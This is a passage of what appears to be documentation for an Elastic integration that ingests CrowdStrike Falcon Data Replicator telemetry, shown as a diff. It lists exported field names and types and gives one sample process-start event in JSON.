ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | +| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword | +| file.hash.md5 | MD5 hash. | keyword | +| file.hash.sha1 | SHA1 hash. | keyword | +| file.hash.sha256 | SHA256 hash. | keyword | +| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | +| file.path.text | Multi-field of `file.path`. | match_only_text | +| host.containerized | If the host is a container. | boolean | +| host.os.build | OS build information. | keyword | +| host.os.codename | OS codename, if any. | keyword | +| input.type | Type of Filebeat input. | keyword | +| log.flags | Flags for the log file. | keyword | +| log.offset | Offset of the entry in the log file. | long | +| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text | +| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | +| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword | +| observer.product | The product name of the observer. | keyword | +| observer.vendor | Vendor name of the observer. | keyword | +| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | +| process.end | The time the process ended. | date | +| process.executable | Absolute path to the process executable. | keyword | +| process.executable.text | Multi-field of `process.executable`. | match_only_text | +| process.name | Process name. Sometimes called program name or similar. | keyword | +| process.name.text | Multi-field of `process.name`. | match_only_text | +| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text | +| process.parent.executable | Absolute path to the process executable. | keyword | +| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text | +| process.parent.pid | Process id. | long | +| process.pid | Process id. | long | +| process.start | The time the process started. | date | +| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | +| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | +| related.ip | All of the IPs seen on your event. | ip | +| related.user | All the user names or other user identifiers seen on the event. | keyword | +| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword | +| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword | +| rule.description | The description of the rule generating the event. | keyword | +| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword | +| rule.name | The name of the rule or signature generating the event. | keyword | +| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword | +| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword | +| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| source.as.organization.name | Organization name. | keyword | +| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | +| source.geo.city_name | City name. | keyword | +| source.geo.continent_name | Name of the continent. | keyword | +| source.geo.country_iso_code | Country ISO code. | keyword | +| source.geo.country_name | Country name. | keyword | +| source.geo.location | Longitude and latitude. | geo_point | +| source.geo.region_iso_code | Region ISO code. | keyword | +| source.geo.region_name | Region name. | keyword | +| source.ip | IP address of the source (IPv4 or IPv6). | ip | +| source.port | Port of the source. | long | +| tags | List of keywords used to tag each event. | keyword | +| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | +| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | +| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword | +| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | +| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | +| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text | +| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | +| user.email | User email address. | keyword | +| user.id | Unique identifier of the user. | keyword | +| user.name | Short name or login of the user. | keyword | +| user.name.text | Multi-field of `user.name`. | match_only_text | + + +### FDR + +This is the `fdr` dataset. + +#### Example + +An example event for `fdr` looks as following: + +```json +{ + "@timestamp": "2020-10-01T09:58:32.519Z", + "agent": { + "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", + "name": "elastic-agent-30302", + "type": "filebeat", + "version": "8.18.0" + }, + "aws": { + "s3": { + "bucket": { + "name": "elastic-package-crowdstrike-fdr-30445" + }, + "object": { + "key": "data" + } + } + }, + "crowdstrike": { + "AuthenticationId": "3783389", + "ConfigStateHash": "3998263252", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "4096", + "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", + "ParentAuthenticationId": "3783389", + "ProcessCreateFlags": "525332", + "ProcessParameterFlags": "16385", + "ProcessSxsFlags": "1600", + "RpcClientProcessId": "2439558094566", + "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "SessionId": "1", + "SourceProcessId": "2439558094566", + "SourceThreadId": "77538684027214", + "Tags": [ + "41", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "WindowFlags": "128", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949", + "info": { + "host": { + "AgentLoadFlags": "1", + "AgentLocalTime": "1697775225", + "AgentTimeOffset": "15889.017", + "AgentVersion": "7.01.13922.0", + "BiosManufacturer": "Iris", + "BiosVersion": "vG17V.21040423/z64", + "ChassisType": "Other", + "City": "Chicago", + "ConfigBuild": "1007.3.0017312.1", + "ConfigIDBuild": "13922", + "Continent": "North America", + "Country": "United States of America", + "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", + "FirstSeen": "1628678052.0", + "HostHiddenStatus": "Visible", + "MachineDomain": "groot.org", + "OU": "Servers;America;Offices", + "PointerSize": "8", + "ProductType": "3.0", + "ServicePackMajor": "0", + "SiteName": "BCL", + "SystemManufacturer": "Iris", + "SystemProductName": "IrOS", + "Time": "1697992719.22", + "Timezone": "America/Chicago", + "Version": "Windows Server 2021", + "cid": "ffffffff30a3407dae27d0503611022d", + "event_platform": "Win" + }, + "user": { + "AccountType": "Domain User", + "LastLoggedOnHost": "COMPUTER1", + "LocalAdminAccess": "No", + "LogonInfo": "Domain User Logon", + "LogonTime": "1702546155.197", + "LogonType": "Interactive", + "PasswordLastSet": "1699971198.062", + "User": "DOMAIN\\BRADLEYA", + "UserIsAdmin": "0", + "UserLogonFlags_decimal": "0", + "_time": "1702546168.576", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "event_platform": "Win", + "monthsincereset": "1.0" + } + }, + "name": "ProcessRollup2V18" + }, + "data_stream": { + "dataset": "crowdstrike.fdr", + "namespace": "77613", + "type": "logs" + }, + "device": { + "id": "ffffffff655344736aca58d17fb570f0" + }, + "elastic_agent": { + "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", + "snapshot": false, + "version": "8.18.0" + }, + "event": { + "action": "ProcessRollup2", + "agent_id_status": "verified", + "category": [ + "process" + ], + "created": "2020-10-01T09:58:32.519Z", + "dataset": "crowdstrike.fdr", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", + "ingested": "2025-08-27T05:55:29Z", + "kind": "event", + "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "ip": [ + "16.15.12.10" + ], + "name": "FEVWSN1-234", + "os": { + "type": "windows" + } + }, + "input": { + "type": "aws-s3" + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff655344736aca58d17fb570f0", + "version": "1007.3.0012309.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "LOW" + } + }, + "args": [ + "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", + "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" + ], + "args_count": 2, + "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", + "entity_id": "2450046082233", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", + "hash": { + "md5": "50d5fd1290d94d46acca0585311e74d5", + "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" + }, + "name": "backgroundTaskHost.exe", + "parent": { + "entity_id": "2439558094566", + "name": "svchost.exe" + }, + "pid": 22272, + "start": "2020-11-08T17:06:21.648Z" + }, + "related": { + "hash": [ + "50d5fd1290d94d46acca0585311e74d5", + "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "3998263252" + ], + "hosts": [ + "FEVWSN1-234", + "COMPUTER1" + ], + "ip": [ + "67.43.156.14", + "16.15.12.10" + ], + "user": [ + "Alan-One", + "DOMAIN\\BRADLEYA", + "S-1-12-1-3697283754-1083485977-2164330645-2516515886" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-fdr" + ], + "user": { + "domain": "DOMAIN", + "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", + "name": "Alan-One" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword | +| aws.s3.bucket.name | The AWS S3 bucket name. | keyword | +| aws.s3.object.key | The AWS S3 Object key. | keyword | +| crowdstrike.AccessType | | keyword | +| crowdstrike.AccountDomain | | match_only_text | +| crowdstrike.AccountObjectGuid | | match_only_text | +| crowdstrike.AccountObjectSid | | match_only_text | +| crowdstrike.AccountType | | keyword | +| crowdstrike.ActiveDirectoryAuthenticationMethod | | keyword | +| crowdstrike.ActivityId | | keyword | +| crowdstrike.AddressFamily | | keyword | +| crowdstrike.AdminStatus | | keyword | +| crowdstrike.AgentIdString | | keyword | +| crowdstrike.AgentLoadFlags | | keyword | +| crowdstrike.AgentLocalTime | | date | +| crowdstrike.AgentTimeOffset | | float | +| crowdstrike.AgentVersion | | keyword | +| crowdstrike.AggregateId | | keyword | +| crowdstrike.AllocateVirtualMemoryCount | | long | +| crowdstrike.AllowlistingFilterId | | keyword | +| crowdstrike.AnodeIndicators | | nested | +| crowdstrike.AntiTamperStateFlag | | keyword | +| crowdstrike.ApiReturnValue | | keyword | +| crowdstrike.ApplicationName | | match_only_text | +| crowdstrike.ArchiveFileWrittenCount | | long | +| crowdstrike.AsepClass | | keyword | +| crowdstrike.AsepFlags | | keyword | +| crowdstrike.AsepIndex | | keyword | +| crowdstrike.AsepValueType | | keyword | +| crowdstrike.AsepWrittenCount | | long | +| crowdstrike.AssemblyFlags | | keyword | +| crowdstrike.AssemblyId | | keyword | +| crowdstrike.AssemblyName | | keyword | +| crowdstrike.AssociatedFile | | keyword | +| crowdstrike.Attacks.Tactic | | keyword | +| crowdstrike.Attacks.Technique | | keyword | +| crowdstrike.AttemptNumber | | long | +| crowdstrike.AuthenticationActivityId | | keyword | +| crowdstrike.AuthenticationId | | keyword | +| crowdstrike.AuthenticationPackage | | keyword | +| crowdstrike.AuthenticationUuid | | keyword | +| crowdstrike.AuthenticationUuidAsString | | keyword | +| crowdstrike.AuthenticodeHashData | | keyword | +| crowdstrike.AuthenticodeHashDataSHA256 | | keyword | +| crowdstrike.BaseReachableTime | | keyword | +| crowdstrike.BatchDataNumber | | keyword | +| crowdstrike.BatchDataTotal | | keyword | +| crowdstrike.BatchTimestamp | | date | +| crowdstrike.BinaryExecutableWrittenCount | | long | +| crowdstrike.BiosChanged | | match_only_text | +| crowdstrike.BiosManufacturer | | keyword | +| crowdstrike.BiosReleaseDate | | date | +| crowdstrike.BiosVersion | | keyword | +| crowdstrike.BluetoothClassOfDeviceValue | | match_only_text | +| crowdstrike.BluetoothDeviceAppearanceValue | | match_only_text | +| crowdstrike.BluetoothDeviceModelNumber | | match_only_text | +| crowdstrike.BluetoothDeviceName | | match_only_text | +| crowdstrike.BluetoothServiceName_1 | | match_only_text | +| crowdstrike.BluetoothServiceName_3 | | match_only_text | +| crowdstrike.BluetoothServiceName_4 | | match_only_text | +| crowdstrike.BluetoothServiceName_5 | | match_only_text | +| crowdstrike.BluetoothServiceName_6 | | match_only_text | +| crowdstrike.BluetoothServiceName_7 | | match_only_text | +| crowdstrike.BluetoothServiceName_8 | | match_only_text | +| crowdstrike.BluetoothServiceUuidArray | | match_only_text | +| crowdstrike.BluetoothServiceUuid_1 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_2 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_3 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_4 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_5 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_6 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_7 | | match_only_text | +| crowdstrike.BluetoothServiceUuid_8 | | match_only_text | +| crowdstrike.BluetoothVendorIdSource | | match_only_text | +| crowdstrike.BootArgs | | keyword | +| crowdstrike.BootTimeFunctionalityLevel | | keyword | +| crowdstrike.BoundedCount | | long | +| crowdstrike.BoundingLimitCount | | long | +| crowdstrike.BoundingLimitDuration | | keyword | +| crowdstrike.BrowserExtensionId | | keyword | +| crowdstrike.BrowserExtensionInstallMethod | | keyword | +| crowdstrike.BrowserExtensionStatusEnabled | | keyword | +| crowdstrike.BrowserFileHash | | keyword | +| crowdstrike.BrowserFilePath | | keyword | +| crowdstrike.BrowserName | | keyword | +| crowdstrike.BrowserProfileId | | keyword | +| crowdstrike.BrowserProfileName | | keyword | +| crowdstrike.BrowserVersion | | keyword | +| crowdstrike.BundleID | | keyword | +| crowdstrike.CLICreationCount | | long | +| crowdstrike.CNAMERecords | | keyword | +| crowdstrike.CallStackModuleNames | | keyword | +| crowdstrike.CallStackModuleNamesVersion | | version | +| crowdstrike.CapPrm | | keyword | +| crowdstrike.CertificateIssuer | | keyword | +| crowdstrike.CertificatePublisher | | keyword | +| crowdstrike.CertificateSignatureHash | | keyword | +| crowdstrike.CertificateSignatureHashAlgorithm | | keyword | +| crowdstrike.ChangeId | | keyword | +| crowdstrike.ChangeTime | | date | +| crowdstrike.ChangedPcrBitmap | | match_only_text | +| crowdstrike.ChannelDiffStatus | | keyword | +| crowdstrike.ChannelId | | keyword | +| crowdstrike.ChannelVersion | | keyword | +| crowdstrike.ChannelVersionRequired | | keyword | +| crowdstrike.ChasisManufacturer | | keyword | +| crowdstrike.ChassisType | | keyword | +| crowdstrike.ClientComputerName | | keyword | +| crowdstrike.ClientId | | match_only_text | +| crowdstrike.ClientProcessStartKey | | keyword | +| crowdstrike.CloudIndicator | | boolean | +| crowdstrike.CommandCount | | match_only_text | +| crowdstrike.CommandCountMax | | match_only_text | +| crowdstrike.CommandHistory | | keyword | +| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text | +| crowdstrike.CompanyName | | keyword | +| crowdstrike.CompletionEventId | | keyword | +| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword | +| crowdstrike.ConHostId | | keyword | +| crowdstrike.ConHostProcessId | | keyword | +| crowdstrike.ConfigBuild | | keyword | +| crowdstrike.ConfigIDBase | | keyword | +| crowdstrike.ConfigIDBuild | | keyword | +| crowdstrike.ConfigIDPlatform | | keyword | +| crowdstrike.ConfigStateData | | text | +| crowdstrike.ConfigStateHash | | keyword | +| crowdstrike.ConfigurationDescriptorName | | match_only_text | +| crowdstrike.ConfigurationVersion | | keyword | +| crowdstrike.ConnectTime | | date | +| crowdstrike.ConnectType | | keyword | +| crowdstrike.ConnectionAddressIP6 | | match_only_text | +| crowdstrike.ConnectionFlags | | keyword | +| crowdstrike.ConnectionType | | keyword | +| crowdstrike.ContentDiff.Exists | | boolean | +| crowdstrike.ContentPatternCounts | | nested | +| crowdstrike.ContentPatterns.ConfidenceLevel | | long | +| crowdstrike.ContentPatterns.ID | | keyword | +| crowdstrike.ContentPatterns.MatchCount | | long | +| crowdstrike.ContentPatterns.Name | | keyword | +| crowdstrike.ContentSHA256HashData | | keyword | +| crowdstrike.ContextBaseFileName | | keyword | +| crowdstrike.ContextImageFileName | | keyword | +| crowdstrike.ContextProcessId | | keyword | +| crowdstrike.ContextProcessTagsAsString | | keyword | +| crowdstrike.ContextTimeStamp | System local time of event creation. | date | +| crowdstrike.CpuClockSpeed | | keyword | +| crowdstrike.CpuFeaturesMask | | keyword | +| crowdstrike.CpuProcessorName | | keyword | +| crowdstrike.CpuSignature | | keyword | +| crowdstrike.CpuVendor | | keyword | +| crowdstrike.CreateProcessCount | | long | +| crowdstrike.CreateProcessType | | keyword | +| crowdstrike.CurrentFunctionalityLevel | | keyword | +| crowdstrike.CurrentLocalIP | | ip | +| crowdstrike.CustomerIdString | | keyword | +| crowdstrike.CycleTime | | long | +| crowdstrike.DadState | | keyword | +| crowdstrike.DadTransmits | | keyword | +| crowdstrike.Data1 | | keyword | +| crowdstrike.DataDomains | | keyword | +| crowdstrike.DcNumAttachments | | match_only_text | +| crowdstrike.DcNumBlockingPolicies | | match_only_text | +| crowdstrike.Description | | keyword | +| crowdstrike.DesiredAccess | | keyword | +| crowdstrike.Destination | | nested | +| crowdstrike.Destination.Channel | | keyword | +| crowdstrike.DetectDescription | | keyword | +| crowdstrike.DetectId | | keyword | +| crowdstrike.DetectName | | keyword | +| crowdstrike.DetectionType | | keyword | +| crowdstrike.DeviceId | | keyword | +| crowdstrike.DeviceMountCounter | | long | +| crowdstrike.DevicePropertyClassGuid | | match_only_text | +| crowdstrike.DevicePropertyClassName | | match_only_text | +| crowdstrike.DevicePropertyLocationInformation | | match_only_text | +| crowdstrike.DirectionType | | keyword | +| crowdstrike.DirectoryCreatedCount | | long | +| crowdstrike.DirectoryEnumeratedCount | | long | +| crowdstrike.DllCharacteristics | | keyword | +| crowdstrike.DnsRequestCount | | long | +| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested | +| crowdstrike.DnsResponseType | | keyword | +| crowdstrike.DocumentFileWrittenCount | | long | +| crowdstrike.DomainSid | | keyword | +| crowdstrike.DotnetModuleFlags | | keyword | +| crowdstrike.DotnetModuleId | | keyword | +| crowdstrike.DownloadPath | | keyword | +| crowdstrike.DownloadPort | | long | +| crowdstrike.DownloadServer | | keyword | +| crowdstrike.DriverLoadFlags | | keyword | +| crowdstrike.DualRequest | | keyword | +| crowdstrike.DylibPath | | match_only_text | +| crowdstrike.ELFSubType | | keyword | +| crowdstrike.EffectiveTransmissionClass | | keyword | +| crowdstrike.EfiVariableCustomModeAttributes | | match_only_text | +| crowdstrike.EfiVariableDbAttributes | | match_only_text | +| crowdstrike.EfiVariableDbSha256Hash | | match_only_text | +| crowdstrike.EfiVariableKekAttributes | | match_only_text | +| crowdstrike.EfiVariableKekSha256Hash | | match_only_text | +| crowdstrike.EfiVariablePkAttributes | | match_only_text | +| crowdstrike.EfiVariablePkSha256Hash | | match_only_text | +| crowdstrike.EfiVariableSecureBootAttributes | | match_only_text | +| crowdstrike.EfiVariableSetupMode | | match_only_text | +| crowdstrike.EfiVariableSetupModeAttributes | | match_only_text | +| crowdstrike.EfiVariableSignatureSupport | | match_only_text | +| crowdstrike.EfiVariableSignatureSupportAttributes | | match_only_text | +| crowdstrike.EgressEventId | | keyword | +| crowdstrike.EgressSessionId | | keyword | +| crowdstrike.EnabledPrivilegesBitmask | | keyword | +| crowdstrike.EndTime | | date | +| crowdstrike.Entitlements | | keyword | +| crowdstrike.EnvironmentVariableName | | keyword | +| crowdstrike.EnvironmentVariableValue | | keyword | +| crowdstrike.EnvironmentVariablesString | | match_only_text | +| crowdstrike.ErrorCode | | keyword | +| crowdstrike.ErrorStatus | | keyword | +| crowdstrike.EtwProviderType | | keyword | +| crowdstrike.EtwRawProcessId | | long | +| crowdstrike.EtwRawRpcClientProcessId | | keyword | +| crowdstrike.EtwRawThreadId | | long | +| crowdstrike.EventCorrelationId | | keyword | +| crowdstrike.EventOrigin | | integer | +| crowdstrike.EventTimestamp | | date | +| crowdstrike.EventType | | keyword | +| crowdstrike.EventUUID | | keyword | +| crowdstrike.ExceptionAddress | | keyword | +| crowdstrike.ExceptionCode | | keyword | +| crowdstrike.ExceptionInformation0 | | keyword | +| crowdstrike.ExclusionSource | | keyword | +| crowdstrike.ExclusionType | | keyword | +| crowdstrike.ExeAndServiceCount | | long | +| crowdstrike.ExecutableBytes | | match_only_text | +| crowdstrike.ExecutableDeletedCount | | long | +| crowdstrike.ExtendedAttributeValue | | match_only_text | +| crowdstrike.ExtendedAttributeValueReadable | | match_only_text | +| crowdstrike.ExtendedKeyUsages | | keyword | +| crowdstrike.ExternalApiType | | keyword | +| crowdstrike.FXFileSize | | keyword | +| crowdstrike.Facility | | keyword | +| crowdstrike.FailedConnectCount | | long | +| crowdstrike.FalconGroupingTags | | keyword | +| crowdstrike.FalconHostLink | | keyword | +| crowdstrike.FeatureExtractionVersion | | keyword | +| crowdstrike.FeatureVector | | match_only_text | +| crowdstrike.File | | keyword | +| crowdstrike.FileAttributes | | keyword | +| crowdstrike.FileAttributesNew | | keyword | +| crowdstrike.FileAttributesPrevious | | keyword | +| crowdstrike.FileCategory | | keyword | +| crowdstrike.FileCategoryCounts | | nested | +| crowdstrike.FileContent | | match_only_text | +| crowdstrike.FileDeletedCount | | long | +| crowdstrike.FileEcpBitmask | | keyword | +| crowdstrike.FileName | | keyword | +| crowdstrike.FileObject | | keyword | +| crowdstrike.FileOperatorSid | | keyword | +| crowdstrike.FilePath | | keyword | +| crowdstrike.FileSigningTime | | keyword | +| crowdstrike.FileSubType | | keyword | +| crowdstrike.FileSystemOperationType | | keyword | +| crowdstrike.FileType.Type.CategoryID | | keyword | +| crowdstrike.FileType.Type.CategoryName | | keyword | +| crowdstrike.FileType.Type.Description | | keyword | +| crowdstrike.FileType.Type.ID | | keyword | +| crowdstrike.FileType.Type.Name | | keyword | +| crowdstrike.FileVaultIsEnabled | | match_only_text | +| crowdstrike.FileVersion | | keyword | +| crowdstrike.FileWrittenFlags | | keyword | +| crowdstrike.FilesAccessed.FileName | | keyword | +| crowdstrike.FilesAccessed.FilePath | | keyword | +| crowdstrike.FilesAccessed.Timestamp | | date | +| crowdstrike.FilesEgressedCount | | long | +| crowdstrike.FilesWritten.FileName | | keyword | +| crowdstrike.FilesWritten.FilePath | | keyword | +| crowdstrike.FilesWritten.Timestamp | | date | +| crowdstrike.FirewallAction | | keyword | +| crowdstrike.FirewallOption | | keyword | +| crowdstrike.FirewallOptionNumericValue | | keyword | +| crowdstrike.FirewallProfile | | keyword | +| crowdstrike.FirewallRule | | keyword | +| crowdstrike.FirewallRuleId | | keyword | +| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion | | keyword | +| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion | | keyword | +| crowdstrike.FirstCommand | | match_only_text | +| crowdstrike.FirstDiscoveredDate | | date | +| crowdstrike.FirstIP4Record | | keyword | +| crowdstrike.FirstSeen | | date | +| crowdstrike.FixedFileVersion | | keyword | +| crowdstrike.Flags | | keyword | +| crowdstrike.FltCallbackData | | keyword | +| crowdstrike.FltCompletionContext | | keyword | +| crowdstrike.FltRelatedObjects | | keyword | +| crowdstrike.FontBuffer | | keyword | +| crowdstrike.FontBufferLength | | keyword | +| crowdstrike.FontFileCount | | long | +| crowdstrike.FontFileName | | keyword | +| crowdstrike.FontLoadOperation | | keyword | +| crowdstrike.FsOperationClassification | | keyword | +| crowdstrike.FsOperationClassificationFlags | | keyword | +| crowdstrike.FullExceptionRecord | | keyword | +| crowdstrike.GenericFileWrittenCount | | long | +| crowdstrike.GrandParentBaseFileName | | keyword | +| crowdstrike.GrandparentCommandLine | | keyword | +| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text | +| crowdstrike.GrandparentImageFileName | | keyword | +| crowdstrike.GrandparentImageFilePath | | keyword | +| crowdstrike.GrandparentProcessId | | keyword | +| crowdstrike.GroupRid | | keyword | +| crowdstrike.HandleCreateAuthenticationId | | keyword | +| crowdstrike.HandleCreated | | keyword | +| crowdstrike.HandleOperationType | | keyword | +| crowdstrike.HashAlgorithm | | keyword | +| crowdstrike.HostGroups | | keyword | +| crowdstrike.HostHiddenStatus | | keyword | +| crowdstrike.HostProcessType | | keyword | +| crowdstrike.HttpInternalSource | | match_only_text | +| crowdstrike.HttpMethod | | match_only_text | +| crowdstrike.HttpRequestHeader | | match_only_text | +| crowdstrike.HttpUrl | | match_only_text | +| crowdstrike.IOCType | | keyword | +| crowdstrike.IOCValue | | keyword | +| crowdstrike.IOServiceClass | | keyword | +| crowdstrike.IOServiceName | | keyword | +| crowdstrike.IOServicePath | | keyword | +| crowdstrike.IP4Records | | keyword | +| crowdstrike.IcmpCode | | keyword | +| crowdstrike.IcmpType | | keyword | +| crowdstrike.IfType | | keyword | +| crowdstrike.ImageBaseName | | keyword | +| crowdstrike.ImageCheckSum | | keyword | +| crowdstrike.ImageEntryPoint | | keyword | +| crowdstrike.ImageFileName | | keyword | +| crowdstrike.ImageSignatureLevel | | keyword | +| crowdstrike.ImageSignatureType | | keyword | +| crowdstrike.ImageSubsystem | | keyword | +| crowdstrike.ImageTimeStamp | | keyword | +| crowdstrike.ImpersonatedUserName | | keyword | +| crowdstrike.InBroadcastOctets | | keyword | +| crowdstrike.InContext | | keyword | +| crowdstrike.InDiscards | | keyword | +| crowdstrike.InErrors | | keyword | +| crowdstrike.InMulticastOctets | | keyword | +| crowdstrike.InMulticastPkts | | keyword | +| crowdstrike.InNUcastPkts | | keyword | +| crowdstrike.InOctets | | keyword | +| crowdstrike.InUcastOctets | | keyword | +| crowdstrike.InUcastPkts | | keyword | +| crowdstrike.InUnknownProtos | | keyword | +| crowdstrike.IndividualDiskInfo | | match_only_text | +| crowdstrike.Information | | keyword | +| crowdstrike.InjectedDll | | keyword | +| crowdstrike.InjectedDllCount | | long | +| crowdstrike.InjectedThreadCount | | long | +| crowdstrike.InjectedThreadFlag | | keyword | +| crowdstrike.InstanceMetadata | | match_only_text | +| crowdstrike.InstanceMetadataSignature | | match_only_text | +| crowdstrike.IntegrityLevel | | keyword 